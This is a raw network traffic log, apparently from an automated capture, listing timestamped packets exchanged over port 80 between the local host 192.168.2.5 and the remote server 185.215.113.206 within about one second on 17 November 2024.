Nov 17, 2024 12:35:09.800986052 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.801019907 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.801029921 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.801073074 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.831043959 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.831130028 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.831259012 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.831279039 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.831310987 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.831336021 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.831336021 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.831345081 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.831363916 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.831367016 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.831388950 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.831393957 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.831404924 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.831432104 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.909568071 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.909719944 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.909740925 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.909761906 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.909813881 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.909821987 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.909843922 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.909845114 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.909863949 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.909883976 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.909941912 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.909995079 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.910031080 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.910074949 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.910108089 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.910156965 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.910216093 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.910237074 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.910269976 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.910300016 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.948076010 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.948158026 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.948434114 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.948456049 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.948477983 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.948477983 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.948498011 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.948503017 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.948513985 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.948527098 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.948537111 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.948548079 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.948565960 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.948570967 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:09.948584080 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:09.948609114 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.026437044 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.026464939 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.026504993 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.026546001 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.026570082 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.026606083 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.026618004 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.026628017 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.026655912 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.026676893 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.026916981 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.026963949 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.026974916 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.026995897 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.027024031 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.027060032 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.027344942 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.027379990 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.027396917 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.027400017 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.027417898 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.027441025 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.065253973 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.065315008 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.065336943 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.065448046 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.065469027 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.065468073 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.065468073 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.065468073 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.065491915 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.065534115 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.065547943 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.065547943 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.065547943 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.065555096 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.065583944 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.068609953 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.143717051 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.143738985 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.143800020 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.143914938 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.143939972 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.143942118 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.143942118 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.143974066 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.143981934 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.144031048 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.144052029 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.144078016 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.144098043 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.144437075 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.144481897 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.144496918 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.144517899 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.144546986 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.144557953 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.182214022 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.182284117 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.182367086 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.182389975 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.182429075 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.182429075 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.182450056 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.182472944 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.182507992 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.182545900 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.182604074 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.182653904 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.182682037 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.182698965 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.182732105 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.182764053 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.260874033 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.260977983 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.261125088 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.261138916 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.261174917 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.261209965 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.261265993 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.261301041 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.261321068 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.261321068 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.261321068 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.261321068 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.261321068 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.261337042 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.261375904 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.261405945 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.261405945 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.261434078 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.261893034 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.261953115 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.299484968 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.299606085 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.299612999 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.299644947 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.299680948 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.299683094 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.299701929 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.299719095 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.299741983 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.299757004 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.299766064 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.299803019 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.299808025 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.299834967 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.299859047 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.299880981 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.377743959 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.377798080 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.377880096 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.377891064 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.377902031 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.377986908 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.378057957 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.378082037 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.378138065 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.378192902 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.378204107 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.378247976 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.378287077 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.378290892 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.378340960 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.378724098 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.378774881 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.378817081 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.378829002 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.378863096 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.378895998 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.416620970 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.416647911 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.416657925 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.416662931 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.416686058 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.416696072 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.416784048 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.416784048 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.416836023 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.416848898 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.416877031 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.416917086 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.417462111 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.417529106 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.494757891 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.494795084 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.494858027 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.494858027 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.495136976 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.495186090 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.495259047 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.495286942 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.495305061 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.495326042 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.495397091 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.495424032 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.495476007 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.495583057 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.495623112 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.495623112 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.495657921 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.495676041 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.495706081 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.495716095 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.533420086 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.533556938 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.533649921 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.533669949 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.533719063 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.533720970 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.533720970 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.533739090 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.533759117 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.533781052 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.533822060 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.533842087 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.533978939 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.534037113 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.534039021 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.534059048 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.534092903 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.534128904 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.534225941 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.534246922 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.534285069 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.534285069 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.534786940 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.534822941 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.534840107 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.534872055 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.612133980 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.612217903 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.612232924 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.612282991 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.612298012 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.612319946 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.612333059 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.612356901 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.612365007 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.612396955 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.612406015 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.612437010 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.612443924 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.612490892 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.612642050 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.612695932 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.612699032 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.612739086 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.650502920 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.650521994 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.650537014 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.650667906 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.650751114 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.650810003 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.650839090 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.650893927 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.650944948 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.650959015 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.650974035 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.651007891 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.651007891 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.651045084 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.651113033 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.651164055 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.651288986 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.651308060 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.651335955 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.651348114 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.651736975 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.651787996 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.651942015 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.651985884 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.692306042 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.692348957 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.692364931 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.692440987 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.692481995 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.729706049 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.729727030 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.729742050 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.729753017 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.729763985 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.729773998 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.729788065 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.729790926 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.729825020 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.729829073 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.729845047 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.729871035 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.767667055 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.767687082 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.767700911 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.767708063 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.767754078 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.767793894 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.768177986 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.768208981 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.768228054 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.768245935 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.768253088 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.768285036 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.768290043 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.768330097 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.768942118 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.768996000 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.769026041 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.769057989 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.769074917 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.769100904 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.808459044 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.808505058 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.808612108 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.808612108 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.809266090 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.809324980 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.809343100 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.809362888 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.809379101 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.809402943 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.846208096 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.846273899 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.846287012 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:10.846303940 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.846354008 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.846354008 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:10.846816063 CET	80	49705	185.215.113.206	192.168.2.5
